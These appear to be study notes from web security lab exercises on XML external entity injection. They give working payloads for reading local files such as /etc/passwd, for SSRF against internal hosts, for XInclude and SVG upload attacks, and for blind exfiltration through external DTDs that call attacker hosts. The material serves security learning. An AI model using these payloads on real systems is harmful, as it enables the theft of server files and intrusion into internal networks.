XXE Injection

XML external entity injection allows us to interfere with an applications parsing of XML data. It typically allows us to view files and interact with systems the application has access to.

Exploiting XXE to retrieve files

```
If the stock button has an XML script, containing the following:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

Assuming that this is a basic question with no preventitve measures, we
can inject
malicious XML data to read arbitrary files

To do so, we define an external entity that reads contents of etcpasswd
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

Then we replace the search term with our xxe entity:

<stockCheck><productId>&xxe;</productId></stockCheck>
```

Exploiting XXE to perform SSRF Attacks

```
Similar to above, if we know the hostname of some inside domain, we can
use XXE to perform
a SSRF attack.

We must alter our payload to be:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.
com/"> ]>

In the portswigger example, this simply grabs the directory listing of
the CWD,
which we must iteratively go through until we reach a file that we
succesffully read the
contents of
```

Exploiting XInclude to retrieve files

```
Sometimes applications simply accept client-side variables and then use
them to craft an XML
document server side, in this case it is not alwasy clear there is an
XXE Injection.

This also means we are not able to perform our usual DOCTYPE attack, we
will have to use
XInclude tag in its place as it allows us to build a document out of
sub documents.

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

Exploiting XXE via image file upload

```
In some situations, we can perform an XXE Injection through an image
upload.

SVG image format actually uses XML, which means we can craft a
malicious SVG image
containing our injection and upload it, then view the image on the site
to see the contents.

<?xml version="1.0" standalone="yes"?><!DOCTYPE test
[ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999
/xlink"
version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
```

Blind XXE

Detecting blind XXE using out-of-band techniques

```
We can perform this very similarly to the previous example, just using
the burp collaborator
client
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://burp collaboratr url/"> ]>

Press poll now on burp collaborator, if we see a DNS lookup/ HTTP
request we know
the xxe was successful!
```

Detecting Blind XXE with out of band interaction via XML parameter entities

```
This is done to bypass filters that are sometimes placed, blocking the
use of regular
entities. We can attempt to use parameter entities instead by supplying
a %

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.
com"> %xxe; ]>
```

Exploiting blind XXE to exfiltrate data using a malicious external DTD

```
This technique involves a separate exploit server that contains a
malicious DTD file, that
we can force the website to read from and then send info back to. We
must also use
Burp collaborator to monitor the response back, placing the
collaborator url below

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://collaborator
url/?x=%file;'>">
%eval;
%exfiltrate;

Place the following contents into the DTD file, note that this
technique will not always
work as it has issues reading newlines.

In the XXE Injection location,
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http:/url of your webserver"> %
xxe; ]>
```

Exploiting blind XXE to retrieve data via error messages

```
We can read arbitraty files by appending them to an error message, by
attempting to read a
non existent file. This also requires a separate server to hold your
malicious DTD

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%
file;'>">
%eval;
%error;

on the XXE Injection site:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http:/url of your webserver"> %
xxe; ]>

The error message should contain the contents of /etc/passwd
```